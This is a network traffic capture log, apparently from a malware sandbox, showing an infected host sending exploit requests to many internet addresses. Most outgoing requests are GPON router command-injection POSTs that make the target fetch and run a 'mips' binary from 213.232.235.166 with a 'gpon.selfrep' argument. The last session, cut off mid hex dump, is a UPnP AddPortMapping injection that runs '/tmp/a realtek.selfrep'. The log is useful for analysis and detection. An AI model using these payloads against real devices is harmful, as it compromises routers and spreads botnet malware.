Apr 15, 2024 08:53:16.997517109 CEST	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 15 Apr 2024 06:53:16 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
783	192.168.2.13	56422	112.84.130.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.671264887 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:17.000838041 CEST	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 15 Apr 2024 06:53:16 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
784	192.168.2.13	49376	178.239.112.106	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.677644014 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:17.014666080 CEST	323	IN	HTTP/1.1 400 Bad Request Server: nginx/1.3.4 Date: Mon, 15 Apr 2024 09:53:16 GMT Content-Type: text/html Content-Length: 172 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 33 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.3.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
785	192.168.2.13	46796	18.154.1.149	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.697829008 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:17.053997040 CEST	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Mon, 15 Apr 2024 06:53:16 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 158ef3c06ec1ccf8eae7297fa102f338.cloudfront.net (CloudFront) X-Amz-Cf-Pop: CGK51-P2 X-Amz-Cf-Id: PWG6aZp_jq-awxiowhaaKSAPPQK2FBDXksDqt8-j7R4FUIVJWYj8gQ== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 50 57 47 36 61 5a 70 5f 6a 71 2d 61 77 78 69 6f 77 68 61 61 4b 53 41 50 50 51 4b 32 46 42 44 58 6b 73 44 71 74 38 2d 6a 37 52 34 46 55 49 56 4a 57 59 6a 38 67 51 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: PWG6aZp_jq-awxiowhaaKSAPPQK2FBDXksDqt8-j7R4FUIVJWYj8gQ==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
786	192.168.2.13	49934	38.11.212.57	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.727595091 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:16.890023947 CEST	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:53:07 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
787	192.168.2.13	52622	117.185.238.12	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.735888958 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:17.256433010 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:18.464462996 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:20.992453098 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:21.386933088 CEST	453	IN	HTTP/1.1 400 Bad Request Server: AliyunOSS Date: Mon, 15 Apr 2024 06:53:21 GMT Content-Type: text/xml Connection: close x-oss-request-id: 661CCEE185DF57313772886C Content-Length: 249 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 0a 20 20 3c 43 6f 64 65 3e 42 61 64 52 65 71 75 65 73 74 3c 2f 43 6f 64 65 3e 0a 20 20 3c 4d 65 73 73 61 67 65 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 2f 4d 65 73 73 61 67 65 3e 0a 20 20 3c 52 65 71 75 65 73 74 49 64 3e 36 36 31 43 43 45 45 31 38 35 44 46 35 37 33 31 33 37 37 32 38 38 36 43 3c 2f 52 65 71 75 65 73 74 49 64 3e 0a 20 20 3c 48 6f 73 74 49 64 3e 6c 6f 63 61 6c 68 6f 73 74 3c 2f 48 6f 73 74 49 64 3e 0a 3c 2f 45 72 72 6f 72 3e 0a Data Ascii: <?xml version="1.0" encoding="UTF-8"?><Error> <Code>BadRequest</Code> <Message>Your browser sent a request that this server could not understand.</Message> <RequestId>661CCEE185DF57313772886C</RequestId> <HostId>localhost</HostId></Error>

Session ID	Source IP	Source Port	Destination IP	Destination Port
788	192.168.2.13	51690	23.61.47.156	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.766124010 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:16.967169046 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:53:16 GMT Date: Mon, 15 Apr 2024 06:53:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 31 39 32 31 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 39 36 26 23 34 36 3b 36 32 64 62 31 66 62 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 61 31 39 32 31 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 39 36 26 23 34 36 3b 36 32 64 62 31 66 62 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.a192117.1713163996.62db1fb5<P>https://errors.edgesuite.net/9.a192117.1713163996.62db1fb5</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
789	192.168.2.13	39018	190.166.33.208	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.798942089 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:17.034904003 CEST	346	IN	HTTP/1.1 400 Bad Request Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Apr 15, 2024 08:53:17.034919977 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
790	192.168.2.13	56692	138.136.133.160	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.823302031 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 